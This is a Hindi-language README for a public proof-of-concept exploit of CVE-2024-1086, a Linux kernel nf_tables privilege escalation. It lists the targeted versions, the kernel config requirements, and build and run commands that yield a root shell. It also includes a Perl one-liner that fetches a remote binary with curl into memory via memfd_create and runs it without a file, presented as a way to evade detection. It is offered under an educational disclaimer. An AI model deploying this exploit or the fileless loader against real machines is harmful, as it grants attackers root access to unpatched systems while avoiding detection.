
CVE-2024-1086 के लिए यूनिवर्सल स्थानीय विशेषाधिकार वृद्धि शोषण, जो Linux कर्नेल v5.14 से v6.6 को लक्षित करता है। KernelCTF पर 99.4% सफलता दर के साथ रूट शेल प्रदान करता है। गुप्तता के लिए फ़ाइलरहित निष्पादन शामिल है।
CVE-2024-1086 के लिए यूनिवर्सल लोकल प्रिविलेज एस्केलेशन प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो अधिकांश Linux कर्नेल v5.14 से v6.6 तक, जिसमें Debian, Ubuntu और KernelCTF शामिल हैं, पर काम करता है। KernelCTF इमेजेज में सफलता दर 99.4% है।
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
एक्सप्लॉइट का पूरा राइट-अप - जिसमें पृष्ठभूमि जानकारी और बहुत सारे उपयोगी आरेख शामिल हैं - Flipping Pages ब्लॉगपोस्ट में पाया जा सकता है।
यह एक्सप्लॉइट v5.14 (सम्मिलित) से v6.6 (सम्मिलित) तक के संस्करणों को प्रभावित करता है, पैच किए गए ब्रांचेज़ v5.15.149>, v6.1.76>, v6.6.15> को छोड़कर। इन संस्करणों के लिए पैच फरवरी 2024 में जारी किए गए थे। अंतर्निहित कमजोरी सभी संस्करणों (पैच किए गए स्थिर ब्रांचेज़ को छोड़कर) को v3.15 से v6.8-rc1 तक प्रभावित करती है।
चेतावनियाँ:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (Ubuntu v6.5 सहित) वाले v6.4> कर्नेल पर काम नहीं करता है।CONFIG_USER_NS=y), अनप्रिविलेज्ड उपयोगकर्ता नेमस्पेस (sh कमांड sysctl kernel.unprivileged_userns_clone = 1), और nf_tables सक्षम (kconfig CONFIG_NF_TABLES=y) की आवश्यकता है। डिफ़ॉल्ट रूप से, ये सभी Debian, Ubuntu और KernelCTF पर सक्षम हैं। अन्य डिस्ट्रो का परीक्षण नहीं किया गया है, लेकिन वे भी काम कर सकते हैं। इसके अतिरिक्त, एक्सप्लॉइट का केवल x64/amd64 पर परीक्षण किया गया है।डिफ़ॉल्ट मान स्थानीय शेल के साथ Debian, Ubuntu और KernelCTF पर तुरंत काम करने चाहिए। गैर-परीक्षित सेटअप/डिस्ट्रो पर, कृपया सुनिश्चित करें कि kconfig मान लक्ष्य कर्नेल से मेल खाते हों। इन्हें src/config.h में निर्दिष्ट किया जा सकता है। यदि आप 32GiB से अधिक भौतिक मेमोरी वाली मशीन पर एक्सप्लॉइट चला रहे हैं, तो CONFIG_PHYS_MEM बढ़ाना सुनिश्चित करें।
यदि आप SSH (परीक्षण मशीन में) या रिवर्स शेल के माध्यम से एक्सप्लॉइट चला रहे हैं, तो अनावश्यक नेटवर्क गतिविधि से बचने के लिए आप CONFIG_REDIRECT_LOG को 1 पर टॉगल करना चाह सकते हैं।
यदि यह आपके लिए अव्यावहारिक है, तो डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ एक संकलित x64 बाइनरी उपलब्ध है।
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
बाइनरी: CVE-2024-1086/exploit
एक्सप्लॉइट चलाना उतना ही सरल है:
./exploit
फ़ाइल रहित निष्पादन भी समर्थित है, पेंटेस्ट स्थितियों में जहां पहचान से बचने की आवश्यकता हो। हालांकि, लक्ष्य पर Perl स्थापित होना चाहिए:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
इस सॉफ़्टवेयर निर्देशिका/फ़ोल्डर/रिपॉजिटरी में प्रोग्राम और स्क्रिप्ट ("प्रोग्राम") केवल शैक्षिक/अनुसंधान उद्देश्यों के लिए प्रकाशित, विकसित और वितरित किए गए हैं। मैं ("निर्माता") इस रिपॉजिटरी में प्रोग्राम के किसी भी दुर्भावनापूर्ण या अवैध उपयोग का समर्थन नहीं करता, क्योंकि इसका उद्देश्य अनुसंधान साझा करना है, न कि इसके साथ अवैध गतिविधियाँ करना। आप इस रिपॉजिटरी में प्रोग्राम के साथ जो कुछ भी करते हैं, उसके लिए मैं कानूनी रूप से जिम्मेदार नहीं हूँ।